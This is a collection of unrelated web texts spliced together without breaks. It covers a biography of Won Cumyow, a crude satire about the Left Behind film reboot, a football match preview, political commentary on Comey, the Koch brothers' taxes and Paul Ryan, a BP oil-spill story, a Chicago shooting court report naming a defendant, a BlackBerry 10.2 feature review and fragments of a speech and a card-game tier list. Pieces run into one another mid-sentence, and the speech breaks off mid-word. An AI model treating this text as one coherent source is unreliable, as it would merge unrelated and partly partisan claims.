Cumyow voted for the first time in 1890 but provincial legislation in 1895-1896[3] stripped Chinese (and Japanese and First Nations) voting rights in elections in BC (though his name still does appear on the 1898 BC voters list).[4] The voters' list in federal elections came from the provincial election's voters' list, and so the federal franchise was also blocked. The federal Chinese Immigration Act of 1923 also known as the Chinese Exclusion Act, was repealed after World War II on 1947 May 14, and he then voted again in the next federal election in 1949 -- making him the only Chinese person to have voted both before and after the disenfranchisement. A photo[5] of him voting has been reprinted many times.
Active in the Vancouver's Chinese community, he was founder of the Chinese Empire Reform Association (an organization of overseas Chinese, active mostly between 1899 and 1911, made up of mostly the older, more prosperous Chinese merchants in Canada, and supporting the modernization of China through progressive reforms within the framework of a constitutional monarchy rather than by armed revolution), and a president of the Chinese Benevolent Association. Chinese merchants had formed the Chinese Consolidated Benevolent Association, with the first branch in Victoria in 1884 and the second one in Vancouver in 1895. The Association was mandatory[6] for all Chinese in the area to join, and it did everything from representing members in legal disputes to sending the remains of a member who died back to his or her ancestral homeland in China.
Won Cumyow married Ye Eva Chan 1889 November 29.[7] A Chinese Methodist missionary family had adopted her and brought her to Canada from Hong Kong in 1888. Together Won Cumyow and Ye Eva had ten children. Their third son, Gordon Won Cumyow, took over the position of court interpreter and became the first Chinese notary public in Canada. Won Alexander Cumyow died on October 6, 1955, in Vancouver.[8]The filmmakers behind a reboot of the Left Behind franchise recently faced some tough questions during a Facebook Q&A with fans who are worried that before they get a chance to see movie star Nicolas Cage in the new film—WAIT FOR IT—an actual rapture might occur.
Sorry for all that coffee you just spit out on your laptop when you read that.
For those that don't know, Left Behind is a series of books about how all of us whiskey-swilling, whore-pill taking, non-churchy types are going to get "left behind" to rot here on Earth while all the nice Jesus-loving folks get swooped up to Heaven when the Rapture comes. The Rapture is basically like Jesus telling everybody in the bar that there's this other really awesome party at his friend's house on the beach in Malibu, except he makes you promise not to tell your two drunk friends who've been yelling out quotes from Doctor Who all night.
The books were already made into a highly popular group of films with America's Least Sinful Actor Ever, Kirk Cameron. Last year, Cage was cast in a planned reboot of the series, and the first film is currently in production. No word yet on how devastated Cameron was to be ousted as the face of the franchise. Poor dude. He is like the Michael Keaton of apocalyptic-themed religious movies.
BTW, you know your career is really in a special place when you are re-making Kirk fucking Cameron movies. Next up, Ryan Reynolds in the reboot of Fireproof! (I'm telling you, right now, Ryan Reynolds' agent just read that sentence and is scrambling to make phone calls: Ryan! Baby! Finally found you a franchise I think you could carry!)
Anyway, it turns out some people think it's not right for the filmmakers of the Left Behind reboot to cast an actor who doesn't have faith (WHATEVER THE HELL THAT MEANS.) "Are the cast including Nicolas Cage saved by the blood of Jesus?" asked one person during the Q&A. "Why Nicholas Cage?" asked another Facebook commenter. "He is not a believer." Whoa sick burn, dude.
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Cage has kept mum for years about his religious beliefs, although INTERJECT WILD UNFOUNDED HOLLYWOOD RUMORS HERE there has been speculation that he is either a Scientologist (he was once married to now ex-Church of Scientology member Lisa Marie Presley) or a Roman Catholic. I'm going to go ahead and further speculate wildly that Cage is actually a Pastafarian, because why the hell not!
TL/DR; there's some die-hard Left Behind fans who probably don't want someone who possibly believes that Xenu is waiting for our ancient alien souls to ascend into a higher plane to be the face of their precious movie about the ascension of righteous Christian souls into Heaven. OK, understandable!
During the Facebook Q&A, producer and writer Paul Lalonde, a veteran of the first round of Left Behind films, basically told fans that Cage's faith was a private matter; thank you very much.
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Moving on. According to an article in the Christian Post, "some fans also expressed concern that an actual rapture could take place before the film's 2014 release." That sentence was written in a legitimate news publication.
Another apparent concern among some of those anticipating the 2014 release of the film was whether the actual rapture, the spiriting of Christians from Earth before the world's cataclysmic end (read about the theories here), might occur before the film hits theaters. "If we get raptured before this is released, well, I'd be ecstatic, but I'd be really upset for not getting to see this movie!!!!!!!!" wrote one excited fan.
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Sort of like a double-edged sword, then. LaLonde also told fans in the same Q&A that reaching actors to be in the film was "hard." LOL LOL LOL AT THAT PHONE CALL:
Yes, hello, Brad Pitt? Would you like to be in a reboot of a Kirk Cameron movie about how everyone is going to get left behind before the End Times herald in the dawn of the Anti-Christ? Hello? Hellooooooo?
The film also stars Chad Michael Murray (YES!), Jordin Sparks (playing a character named "Shasta") and Lea Thompson. Of course nobody is talking about how Lea Thompson is going to mess up the Rapture because PATRIARCHY. Obviously.
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The film does not have an official release date yet, but I assure you when this movie is put out into one of America's fine cinema theaters, I will be there to witness it in all it's hot, holy glory. Unless, you know, I've been Raptured or something.
Source: Christian NightmaresThis Saturday, FC Barcelona face off against Sevilla in one of the games of the season so far. While Sevilla are without a couple of key players, they will no doubt provide a stern test for Pep Guardiola’s men, and the Blaugrana are going to have to be at their best if they wish to claim all three points, and stay atop of La Liga.
Sevilla have not been impressive so to speak, but find themselves occupying the final UEFA Champions League spot, with an unbeaten record. They may have only scored eight goals, but their defense has made the difference, leading them to a joint-second best defensive record in the league. However, Sevilla may have an unbeaten record, but have yet to claim all three points away from home, and considering their destination tomorrow, it’s unlikely that will be changing.
FC Barcelona have been simply irresistible at the Camp Nou, and in matches with Villarreal and Atletico Madrid, they have scored 10 goals, and not seen one in reply. In four games at home, Barca have scored 21 goals, and not conceded a single one. Aside from AC Milan, every team to play at the Camp Nou this season have left without a point to show for their efforts. Just to add to the perfect defensive record, Victor Valdes is on a roll of five consecutive clean sheets, and would very much like to make it six.
Sevilla have a gargantuan task ahead of them, and they must face it without their leading goal-scorer, Alvaro Negredo. Wide spread media reports claim that Negredo pulled out of the recent international games citing a hamstring problem, and it seems as though he has not yet recovered, and Barcelona will surely be content with that news. Also ruled out is Diego Perotti and summer signing Emir Spahic, though the Bosnian cannot play due to suspension.
To me it is fairly ironic that Sevilla are struggling for injuries, but Barcelona seem to be getting over the majority of theirs, with Cesc Fabregas likely to play some part tomorrow evening, and Alexis Sanchez is set to return "any time soon" according to reports in Spain. This leaves only Gerard Pique and Ibrahim Afellay on the injury list, and even Pique is a short-term absentee.
In previous matches at the Camp Nou, Guardiola has opted for a 3-4-3, and this was notably done to (near) perfection against Villarreal and in the first half against Atletico Madrid. Now, the question is whether he feels brave enough to implement it in such a difficult match, after all, it could turn out like the Valencia match. Therefore, I am going to guess at a 4-3-3 that Pep will want to emulate last season’s 5-0 win over Sevilla. Dani Alves was sublime in that match against his former employers, and this was solely down to his position at right-back.
Alves was hard to mark, and even harder to follow, and compensate for when he made his charging runs, and this created more space for the attackers and midfielders. It was typical Barcelona, but despite the predictability it was so difficult to defend. This was of course one of the matches that made up the incredible 16-game winning streak and it was not hard to see why.
I would expect the obvious choice of Victor Valdes in goal, and a back-four of Carles Puyol, Javier Mascherano, Dani Alves and Eric Abidal. This would provide the overlapping width Barca have become renowned for, while keeping a solid defensive base. Both Puyol and Mascherano will be adept at making blocks, and last-ditch challenges. This may prove invaluable if Sevilla pose the threat expected of them on the counter-attack.
In front of that the choice is obvious. Sergio Busquets will act as the anchor man, but will drop back to create a three-man defense when Alves and Abidal are on the overlap, and in effect, Barcelona will have their 3-4-3. Xavi and Andres Iniesta will complete the midfield, and I believe Cesc Fabregas will have to settle for a place on the bench alongside Thiago Alcantara.
Andres Iniesta is just back from injury, but his performances in the last two games have been world-class. His link-up play with Lionel Messi is simply mesmeric, and Sevilla will have to pay special attention to the cute little one-two passes they often attempt.
This means that Lionel Messi is going to start, which is of no surprise, despite the very-slight knock he picked up against Viktoria Plzen on Wednesday. Alongside him will be Pedro and David Villa, and aside from Pique’s absence, it will be the same team that demolished Sevilla at almost the same stage of last season.
Pressing the Sevilla defense will be paramount in this match, as will an early goal. When Barcelona score early, especially at the Camp Nou, the opposition’s morale tends to drop, while Barcelona tend to find that extra gear or two. It is a deadly combination, and one which Sevilla will be doing their utmost to avoid.
Also important is to keep the shape defensively, and for the midfield to get back and aid the defense when needs be. Plzen had a couple of spells of possession the other night, and this was in part down to the lack of tracking back from Xavi and co. Barcelona need possession of the ball to nullify the Sevilla threat, and with it they can create chances. It is a no-brainer that they should want to get it back as soon as possible.
If they can retain possession, chances will be created in abundance, and one doubts whether Lionel Messi will be kept off the score-sheet for the second game in succession, such is the standard we have come to expect from the diminutive Argentine.
Match Prediction: A tough first-half with a goal around the 35-40 minute mark, and then an easier second half with lots of ball retention, and some more chances. I would say a two-goal win: either 2-0 or 3-1.Lake Effect's Mitch Teich with Ruth Conniff.
Lake Effect heard about the First 100 Days from Charlie Sykes last week, and this week our analyst is Ruth Conniff, editor of the Madison-based magazine The Progressive. Conniff breaks down this week's news: the firing of FBI Director James Comey, France's election and the race for governor in Wisconsin.
President Trump & James Comey
There’s never a dull moment in Washington these days, but Tuesday produced some especially not-dull times. President Trump fired FBI Director James Comey, citing the way he handled the investigation into the use of a private email server by Trump’s opponent in the Presidential race, Hillary Clinton.
Meanwhile, that throws into question the future of the FBI probe into potential meddling in the election by Russia, which is sparking calls by Democrats and some Republicans for an independent special prosecutor on the case.
"It's just the strangest, most surreal period of American politics in my lifetime," she says. As an editor, Conniff has had to report on a plethora of topics for a magazine that itself has been around for more than 100 years.
However, while Conniff and others may want to impulsively compare Trump's firing of Comey to Watergate, she notes that the atmosphere around this presidency is much different.
"In Watergate, we had a bipartisan group in government who stood up and said this is not acceptable," Conniff explains.
"[Today] our media environment is so different and the country is so divided into silos that the big question to me is can we as a country come together in a shared perception of the facts around this and really defend our public institutions and our democracy?" she asks.
Conniff thinks that Republicans need to decide if they want to separate themselves from being associated with President Trump. "Within the Trump administration there's a lot of self-dealing and it compromises the interests of the United States," she says. "I think that's something a lot of Republicans are going to have to wrestle with and think about - where they really want to come down on that."
Presidential Election in France
The world of politics also followed France's elections closely, which produced centrist Emmanuel Macron as the new President-Elect.
"For Europe and for the idea of a European Union, and just as a push-back against an increasingly ugly nationalist strain in politics, it's really positive news," Conniff says.
Race for Wisconsin Governor
As politics progress in the state of Wisconsin, Conniff is curious to see who will run against Scott Walker for governor.
"Wisconsin's very divided, but it can't be that we can't make the case that the shape that our economy is in, the cynicism, the transfer of wealth to the rich, the attack on our public education system; that those things are unassailable and popular - because they're not," she says. "So I'm interested in seeing Mike (McCabe's) campaign and other progressive campaigns that try to take a shot at really doing something new."
Previous campaigns for governor such as Mary Burke and Tom Barrett have proven to be unsuccessful, and Conniff believes it is because the same failing strategy was used three times.
"(The Democrats have a) theory that they should run a centrist good-looking candidate who can get a lot of corporate funding," she notes. "I think it's a good idea that we start thinking about what happened with Bernie Sanders and what we can learn from that going forward."An energy company wants to educate the public about sustainability and renewable energy with fun as its propaganda tool
Qurrent, a Dutch renewable energy company, believes that fun and sustainability can both be achieved by using wind turbines to power an amusement park. Don’t believe it? Qurrent collaborated with Jora Entertainment to come up with the design of the theme park as well as the adrenaline-packed rides.
Qurrent CEO Richard Klatten highly believes that wind turbines are very important for sustainability. He said:
“Within 10 years from now, wind energy will be ubiquitous. We strive to be ahead of things, and shape the future of renewable energy. Creating an environment where people can experience clean energy in a fun and educational way could be one of those. And hey, how neat would it be to tell your friends you took a ride on an actual wind turbine?”In this Sunday, May 23, 2010 photo provided by Greenpeace, crews try to clean up oil from the Deepwater Horizon oil spill along the Mississippi Delta, just east of the mouth of the Mississippi River. (AP Photo/Greenpeace, Daniel Beltr?) NO SALES AP
Oil company BP may shut off the live feed to Congress and the Internet of the massive oil spill in the Gulf of Mexico tomorrow during its next attempt to seal the oil leak.
Rep. Ed Markey (D-Mass.), one of several legislators who forced BP to make the video feed public, said today that BP informed him the feed would be cut off when they try their "top kill" effort to stop the flow of oil. Markey called the move "outrageous."
Sen. Bill Nelson (D-Fla.) said later that after getting pressured by Congress to keep the feed running, BP is now still "considering" going dark. Nelson says he will continue to strongly pressure the company to keep the feed on, CBS News Capitol Hill Producer John Nolen reports.
"This BP blackout will obscure a vital moment in this disaster," Markey said in a statement. "After more than a month of spewing oil into the Gulf of Mexico, BP is essentially saying to the American people the solution will not be televised."
Five weeks after an explosion on the Deepwater Horizon oil rig caused the leak, BP is still trying to find a way to stop the millions of gallons of oil flowing into the Gulf of Mexico. Tomorrow, the company hopes it can seal off the blown-out well with its "top kill" method -- which involves pumping heavy mud into the gushing well to stop the flow.
A technical video provided by BP shows that many of the preparations for the top kill attempt have already been completed, according to Markey's office. Hence, the congressman said, the company should be able to show the public the actual attempt to plug the well.
"No one wants to interfere with the operations during the top kill," Markey said. "With those preparations mostly done, now the world should see whether or not this strategy works, and we should see it in real time."
Hundreds of thousands of people visited the website for Markey's committee in the first 24 hours in which it was hosting the live feed of the spill, according to Markey's office. He is also asking BP to make available all 12 feeds of the accident site, since they provide different perspectives.This isn't the first time that President Obama's administration has abused the IRS's powers. Austan Goolsbee who was Obama's chairman of the Council of Economic Advisors told reporters the amount of money that the Koch brothers had paid in taxes in 2010. Note that this, like the abuses against the Tea Party, also occurred in 2010 and that it involved people that that administration hated as much as the Tea Party. The current ruckus isn't the first time that Obama administration abuses of the IRS have been compared to the Nixon administration.
President Obama claims that he has President Obama claims that he has "no patience" for the "outrageous" IRS mess, but if true, why didn't he do anything or even comment about Goolsbee's actions?
This is part of the discussion from my book This is part of the discussion from my book Debacle (references in book):
New Yorker headline gives one side of the “The billionaire brothers who are waging a war against Obama.” 71 Goolsbee entered the fray at an August 27, 2010, press briefing where he let slip that he knew that Koch Industries, a multibillion-dollar energy business run by the libertarian Koch brothers, had paid no income taxes. “[W]e have a series of entities that do not pay corporate income tax, some of which are really giant firms. You know, Koch Industries is a multibillion-dollar business,” Mr. Goolsbee told reporters during an on-the- record background briefing on corporate taxes. [Austan] Goolsbee also learned how to punish the president’s political adversaries. The battle between the Koch bothers and President Obama hasn’t gotten as much coverage as that between George Soros and Republicans, but it is about as bitter. headline gives one side of the “The billionaire brothers who are waging a war against Obama.”Goolsbee entered the fray at an August 27, 2010, press briefing where he let slip that he knew that Koch Industries, a multibillion-dollar energy business run by the libertarian Koch brothers, had paid no income taxes. “[W]e have a series of entities that do not pay corporate income tax, some of which are really giant firms. You know, Koch Industries is a multibillion-dollar business,” Mr. Goolsbee told reporters during an on-the- record background briefing on corporate taxes.
Koch Industries is a privately held company and therefore their tax returns and tax payments are not normally publicly available. This recalls shades of Richard Nixon’s abuse of the Internal Revenue Service to collect information on his enemies, and there were serious questions of how Mr. Goolsbee obtained this information. At first, the White House sent Politico an email explaining that the information was publicly available and referenced testimony to the President’s Economic Recovery Advisory Board and Koch’s own website. 72 But they were just dead wrong. How much taxes Koch Industries pays appears in neither place.
The Obama administration then switched to a second line of defense: that Mr. Goolsbee simply misspoke, that he didn’t mean to say what he said, and that it was merely a coincidence that he had just happened to guess their tax information. 73 But it was quite a lucky guess. The IRS’s Inspector General promised to look into whether Goolsbee had illegally gotten confidential tax information, 74 but a report was never released, and with Democrats in control of both the Senate and House at the time, there was no congressional pressure on the Obama administration to release the report. 75...
UPDATE: There is no public record of whether you are an S corp. There is a public record if they are an LLC, but they can be set in various forms and that won't be public record. They could also be a C corp and that wouldn't be public information. Thus for Goolsbee to even know that they are an S corp or what version of being an LLC would be problematic. Specifically on the point The Koch's lawyer had this point:
"contrary to the administration official's statement on what sources were used by the administration, neither the Koch website nor Forbes' list of private companies has information regarding Koch's tax filing status. This is confidential information. Given these facts, one must wonder why the White House is anonymously commenting on the confidential tax status of Koch Industries."
UPDATE: Here is another example of abuse.
UPDATE: Fox News has this updated discussion on Goolsbee. If the last paragraph in the quote below, it sounds as if many people in the Obama administration were in on this leak of IRS info.
Many questioned the statement and pointed to a 2010 incident involving Austan Goolsbee, Obama’s former chairman of the Council of Economic Advisers. Goolsbee told reporters on Aug. 27, 2010 that Koch Industries, a billion-dollar energy company run by the politically influential Koch brothers, paid no income taxes.
The tax records of Koch Industries -- a private company – would not have been public information and therefore should not have been known to Goolsbee. At the time, the Obama team backpedaled and said the information was made public in two places – which turned out to be untrue. Then the Obama administration said Goolsbee had misspoken and that he had guessed the company’s confidential tax information.
At the time, the IRS had promised to look into the Goolsbee gaffe but a report was never publicly released.
A source familiar with the situation suggested to FoxNews.com Tuesday that Goolsbee’s comments were a “calculated” attempt by the administration to insert Koch’s name into his discussion about companies that don’t pay taxes....
RUSH: To the phones. People been waiting patiently as always. Up first, John in Philadelphia. Hello, sir. Thank you for the call.
CALLER: Oh. Thank you very much. You know, I think this is a very important issue. This isn't the first time that the Obama administration has abused the IRS' powers. In 2010, at the same time they were going after the Tea Party, Austan Goolsbee -- the chairman of the president's council of economic advisers -- was using the IRS to go after the Koch brothers, probably somebody that they hated as much as the Tea Party. There was a press briefing where Goolsbee told the press how much money the Koch brothers have been paying in taxes. You know, at first they said that the information was "publicly available," and when that turned out not to be the case, the administration said, "Well, you know, he simply accidentally guessed the exact amount that they pay."
RUSH: You know, that's exactly right. I'd forgotten that, but you're exactly right. Austan Goolsbee did tell the press how little the Koch brothers were paying in taxes -- in his perspective, how little -- and there was no way he coulda known that.
CALLER: Right.
RUSH: Unless somebody at the IRS had shared the data with him.
CALLER: Right. This is cover-up by the Obama administration. The inspector general for the IRS was supposed to release a report on Goolsbee, and after the furor died down they kept on delaying it.
RUSH: Yeah.
CALLER: Eventually they just never released the report on Goolsbee. So this is one thing. If you want to go and show that this is a pattern -- you know, and Goolsbee's not just some low-level staff person. He was chairman of the Council of Economic Advisors. And the Obama administration should finally be forced to release the inspector general report on what Goolsbee knew and how he released that information.
RUSH: Well, technically it's not how he released it; how he got it. There's only one way he could know it, and that is if he was able to pick up the phone, call the IRS, and say, "Give me the numbers on the tax return for the Koch brothers and for Koch Industries," and if the IRS gave him the information, bammo! Major, major violation. And, you're right. They've tried to let the passage of time cause everybody to forget about it, because there have been events take place in subsequent days which have taken precedence.
Those events have caused everybody to forget about it. You didn't. You're exactly right....
Rush Limbaugh had this extended discussion where a caller (me) brought up the Goolsbee example.
Labels: AustinGoolsbee, ObamaCorruptionNEW YORK -- Green Bay Packers running back Eddie Lacy nudged out San Diego Chargers wide receiver Keenan Allen for the 2013 Associated Press NFL Offensive Rookie of the Year Award at Saturday's "NFL Honors" ceremony.
It was the correct call.
Whereas Allen finished 22nd in receiving yards and 13th in receiving touchdowns, Lacy placed eighth in rushing yards and third in rushing scores. From Week 5 on, LeSean McCoy and Jamaal Charles were the only running backs to average more than Lacy's 86.7 yards per game.
Philip Rivers and Ryan Mathews did the heavy lifting for the Chargers. Lacy carried Green Bay's offense for a crucial seven-game stretch when Aaron Rodgers was sidelined, emerging as the Packers' most valuable player.
More impressively, Lacy saved the season while toughing out an ankle injury and facing stacked boxes without Rodgers' rifle arm to keep defenses honest.
A throwback to the days of bruising, three-down bell cows, Lacy consistently got more than what was blocked. He finished near the top of the list in yards after contact and forced missed tackles, according to Pro Football Focus.
This award is a fitting tribute to a player who not only broke John Brockington's long-standing franchise record for rookie rushing yards, but also turned a weakness into a strength for the Packers.
With Lacy checking chins in the backfield, coach Mike McCarthy has good reason to believe his offense can be special in 2014.
Live from New York, it's the NFL "Around The League Podcast" Super Bowl Preview!Tabari Harris, 19, is charged with aggravated battery. View Full Caption DNAinfo; Chicago Police Department
LEIGHTON CRIMINAL COURTHOUSE — The man charged in a shooting near the Leighton Criminal Courthouse was free on bond for a pending gun case when bullets starting flying early Monday, prosecutors said.
Tabari Harris, 19, was charged in January with aggravated unlawful use of a weapon by someone with a juvenile-delinquency record, aggravated unlawful use of a weapon by someone younger than 21, aggravated unlawful use of a weapon with a defaced serial number, possessing a gun with a defaced serial number and having a gun without an FOID license.
Cook County Judge Maria Kuriakos Ciesil on Jan. 5 at $30,000. Harris posted $3,000 bond (10 percent of bail) and was free by Jan. 9, court records show.
Harris appeared in bond court again Wednesday — this time on allegations he took part in a fight and shooting that occurred a block north of the Leighton Criminal Courthouse, 2600 S. California Ave., about 9:30 a.m. Monday.
Though prosecutors do not believe Harris was the shooter, he has been charged with aggravated battery by discharging a firearm for his alleged involvement.
As of Wednesday afternoon, prosecutors have not yet charged anyone else in the case.
According to prosecutors, the 21-year-old victim and several other people drove to the 2500 block of South California Avenue early Monday. As the victim's companions searched for change to pay for parking, authorities said, the victim waited near the group's car.
Around the same time, Harris arrived in the area in a van with several other people, Assistant State's Attorney Lorraine Scaduto said during a bond hearing Wednesday.
Harris and his accomplices began walking toward the victim, who was by that point standing in front of Popeyes Chicken, 2556 S. California Ave., prosecutors said. One of Harris' accomplices yelled and rapped at the victim and one of his friends, according to witnesses.
Words were exchanged, Scaduto said, and Harris and an accomplice soon returned to their van, where witnesses saw Harris grab an object and give it to the accomplice, prosecutors said.
The men returned to the group, where a physical fight began, prosecutors said. At some point, one of Harris' accomplices pulled a silver gun and fired three or four shots, according to Scaduto.
Multiple police and security guards in the area heard the shooting or saw the scuffle, prosecutors said.
Harris was soon arrested in a nearby alley, where a witness said Harris tossed a gun in a garbage can, according to authorities. Police recovered a Smith & Wesson semiautomatic handgun from a nearby can, Scaduto said, and later matched shell casings found on the scene to that gun.
Harris, of the 5300 block of West Harrison Street, had gunshot residue on his left hand, prosecutors said.
The victim was shot twice in his stomach and once in his buttocks, prosecutors said, and taken to a nearby hospital in critical condition. He remained hospitalized Wednesday.
Police on Monday initially told reporters the victim had been shot six times in his groin during a drive-by shooting as he was walking into the Leighton Criminal Courthouse, which is a block south of the actual shooting site.
Detectives and evidence technicians could be seen working north of Popeyes on Monday morning.
According to defense attorney LaCoulton Walls, Harris is a high-school graduate. Walls noted that Harris is right-handed and said "a lot of things don't add up" in prosecutors' version of events.
Cook County Judge Laura Sullivan on Wednesday set bail at $500,000.The America We Love
The America We Love
Independence, Missouri
On a spring morning in April of 1775, a simple band of colonists - farmers and merchants, blacksmiths and printers, men and boys - left their homes and families in Lexington and Concord to take up arms against the tyranny of an Empire. The odds against them were long and the risks enormous - for even if they survived the battle, any ultimate failure would bring charges of treason, and death by hanging.
And yet they took that chance. They did so not on behalf of a particular tribe or lineage, but on behalf of a larger idea. The idea of liberty. The idea of God-given, inalienable rights. And with the first shot of that fateful day - a shot heard round the world - the American Revolution, and America's experiment with democracy, began.
Those men of Lexington and Concord were among our first patriots. And at the beginning of a week when we celebrate the birth of our nation, I think it is fitting to pause for a moment and reflect on the meaning of patriotism - theirs, and ours. We do so in part because we are in the midst of war - more than one and a half million of our finest young men and women have now fought in Iraq and Afghanistan; over 60,000 have been wounded, and over 4,600 have been laid to rest. The costs of war have been great, and the debate surrounding our mission in Iraq has been fierce. It is natural, in light of such sacrifice by so many, to think more deeply about the commitments that bind us to our nation, and to each other.
We reflect on these questions as well because we are in the midst of a presidential election, perhaps the most consequential in generations; a contest that will determine the course of this nation for years, perhaps decades, to come. Not only is it a debate about big issues - health care, jobs, energy, education, and retirement security - but it is also a debate about values. How do we keep ourselves safe and secure while preserving our liberties? How do we restore trust in a government that seems increasingly removed from its people and dominated by special interests? How do we ensure that in an increasingly global economy, the winners maintain allegiance to the less fortunate? And how do we resolve our differences at a time of increasing diversity?
Finally, it is worth considering the meaning of patriotism because the question of who is - or is not - a patriot all too often poisons our political debates, in ways that divide us rather than bringing us together. I have come to know this from my own experience on the campaign trail. Throughout my life, I have always taken my deep and abiding love for this country as a given. It was how I was raised; it is what propelled me into public service; it is why I am running for President. And yet, at certain times over the last sixteen months, I have found, for the first time, my patriotism challenged - at times as a |
a higher rating because of the high potential upside. When making final cuts for your deck, use this list with discretion. Synergy and curve considerations will often outweigh the difference between a A- and a B+ in the list.
So without further ado, here’s the list:
FLASH’S TIER LIST
Credits to Konan’s Tier list, which while not as perfect as mine (kappa), served as a great starting point. This list is also slanted towards my own playstyle so I definitely expect some disagreements with regards to some of the ratings, but hopefully most of them are in the right ballpark. Huge shoutout to Neon, Mann_Und_Mouse and Isomorphic who helped to look through the list and giving me their opinions!
Most importantly, this list will be a constantly evolving one, as I garner more feedback and my evaluations change over time. There are also plans in the works to create a more representative tier list with heavier input from other top drafters so keep your eyes peeled for that!
Conclusion
Well, hopefully you’ve found the guide on evaluating helpful. For further reading, you could check out this awesome article by ScaldingHotSoup and individual faction breakdowns over at JankJunction. If you disagree with any of the ratings on my tier list, do comment here or on the reddit chat and we could discuss it!
May your draft packs be filled with bombs,
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FacebookBlackBerry 10.2 has landed with the arrival of the BlackBerry Z30, the company's new 5-inch handset. You can expect BB 10.2 to roll out to other BB10 devices in October, bringing a run of new features and tweaks to your BlackBerry user interface.
Here we're quickly running through the top new features that will be coming to your handset, making day-to-day use better, and where to find them. There are some other tweaks, as well as a noticeable improvement in performance on the Z30 over the Z10, but we can't say how much is down to software and how much down to hardware until we have a fully updated Z10 later in the year.
First up, although much of BB10.2 is the same as 10.1, there's been a change to some of the backgrounds to make them black rather than white, for example in the system settings menu.
This gives the icons more punch, and setting a Z30 with BB10.2 alongside a Z10 with BB10.1, the new software makes the old look very dated.
It's perhaps strange then that this change doesn't apply to all the native BlackBerry apps: head into the settings of BlackBerry Hub, for example, and it looks the same as before with the white background and blue top bar.
Many smartphone manufacturers are now following the trend of using dark backgrounds because it doesn't need as much power as lighter ones, therefore prolonging battery life, although it is really just a change in colour scheme that gives everything a lift here.
This new feature does exactly what it says, letting you filter out the things that really matter when you're peering at reams and reams of messages.
Priority messages get a red indicator to the right-hand side and there's a new option in BlackBerry Hub to only show priority messages only - great for when you step off a plane and need to deal with the important stuff first, or just to help you pick those things that you should deal with whilst mobile, leaving the rest until you return to your PC.
This isn't just left to random, however, there are a range of controls in the settings menu you can engage to make sure that Priority Hub is getting the messages you want. At launch, it gives you three rules: same last name, high importance, conversation you started.
The "same last name as me" will pick out your family members, so you don't miss that email from your brother about Christmas lists, and the conversation you started option means that you'll get those replies you have been seeking.
Importantly, BlackBerry told us that these Priority Hub rules will expand in future releases, bring more control and organisation options.
That's not all: press and hold on a message and you can add that person to the priority list as well.
One thing that BB10 is good for is telling you how many messages you have waiting for you. That's good, but it's not quite the same as having the details of what those messages contain.
In BB10.2, you can tap on the lock screen notification on the left-hand side of the display (as in the lead photo above) and it will expand to give you some more detail on what's waiting. It's a little like swiping down the notifications bar in Android for a glimpse at what you've missed.
It's not scrollable so for something like email it's not effective for browsing, but it means you can glance and go, or see if there's something important you've just missed. When that LED starts blinking, you can at least look at what the notification is for and decide whether it's important or not.
You can disable the option if you're worried about the security implications.
BB10.2 also brings toast notifications, the sort that pop-up at the top of the screen when something happens. That means that if you're flicking through photos or browsing the internet you'll be able to see when something happens, in addition to the LED flashing.
BlackBerry calls this Instant Previews and you can change the settings for each of the different types of message you receive. In some cases you can elect for "priority only" to separate the wheat from the chaff, but in others it's on or off.
It's a nice arrangement with plenty of control so you can reduce the alerts at will, as well as just being able to tap on notifications as soon as they arrive to go directly to that message, rather than having to swipe away to the Hub.
It's a similar approach as Windows Phone, but we can't help feeling that here it looks better implemented.
You can control instant previews through the main notifications settings menu.
This is a great option for those handling lots of emails, with lots of attachments. If you're looking for that PDF with your flight details or that picture you were sent, then heading into the menu from an email account will let you view those attachments from messages.
There are list or grid view options, giving file names, as well as the person who sent that attachment through. You can sort by various factors and there is the option to search, although this only searches file names, not the sender.
Once you've found the file or files you want, you can download it. Once you have the file, you get further options for sharing it.
Sharing on BB10 is pretty good, with plenty of options for getting that photo out to your social networks or through messages. BB10.2 makes it better, with sharing, on some content, having a smart hub that will make suggestions for you.
If you regularly share pictures with a particular person, or if you regularly share to a particular network, then these options will be right there for you. It means that sharing to an individual is much faster, as the right type of message opens with the address in it ready to go.
You can also quickly share after taking a picture by dragging the thumbnail up from the corner of the camera app. This will open a share or delete option for you to drag the picture onto for instant action.
Much of the camera remains the same, but there's now a 1:1 aspect shooting option for those square shots of your dinner.
The in-app editing options are pretty much the same, but things have been refined. Previously the options were "artistic" and "styles" and both applied filters. Now there is simply an option for filters and a separate option to apply the frames.
You can now set more than one alarm, with an additional option appearing in the clock, meaning you can have one to wake you up and another to remind you to leave the house, one to tell you to leave work, one for … you get the idea. All can be scheduled or recurrent, just as before.
All active alarms appear on the clock face as before, but we wish they offered different colours for at-a-glance reference.
The BB10.2 browser has enhanced the Reader option, where it strips away all the website design to leave you with an easy-to-read text story instead, with smaller pictures.
It's basically the same as before, but now the bottom control bar disappears as you scroll down, returning when you scroll up again. There's also an option to invert the text, so if you want to read on a black background rather than white - great for reading in the dark - then you can do so.
The weather app has now been tweaked and looks much nicer. The background has animated weather - for example, it will rain on rainy days - but it's not over-the-top like some apps can be.
It also gives you more useful information up front so you can see the conditions across the next five days, as well as being able to switch over to an hourly forecast via a tab at the bottom of the page.
There's a new option in the system settings that will give you information on what your apps are doing, as well as being able to manage the default apps for different file types: for example, if you have multiple apps for viewing images, you can set the default here.
The app manager contains a device monitor that will show you what is stressing the CPU or what is hogging the memory, so if things are running slow, you might be able to spot what the problem is through this new option.
Clicking on an app will pull up the details, giving you a graphic depiction of CPU and memory use with the option to stop the app.
Copy and paste now has much better handling that before. Previously if you highlighted a word or paragraph, you'd have a sidebar with the options to select all, copy or share. This now appears in a pop-up box right on the page so there's less messing around.
In addition, if you copy something to the clipboard and then switch over to the great universal search feature, there's a paste icon ready and waiting for you. Previously, you'd have to long press in the search bar and then tap the option in the sidebar, so things are much more convenient now.
We will be bringing you a full review of the BlackBerry Z30 as soon as we can.
READ: BlackBerry Z30 pictures and hands-onPoor Paul Ryan
Yet at every opportunity, Romney and the campaign have undermined Ryan's sterling reputation with the forced birthers, and Romney's latest (and quickly walked-back) assertion that he would have no anti-abortion legislative agenda must have been a particularly bitter pill for Ryan to swallow.
Because, you see, Ryan does have an agenda. Oh yes, he has quite an agenda. He is awful proud of being one of the most vigilant anti-women extremists in Congress:
He believes ending a pregnancy should be illegal even when it results from rape or incest, or endangers a woman’s health. He was a cosponsor of the Sanctity of Human Life Act, a federal bill defining fertilized eggs as human beings, which, if passed, would criminalize some forms of birth control and in vitro fertilization. [...] The National Right to Life Committee has scored his voting record 100 percent every year since he entered the House in 1999. “I’m as pro-life as a person gets,” he told The Weekly Standard’s John McCormack in 2010.
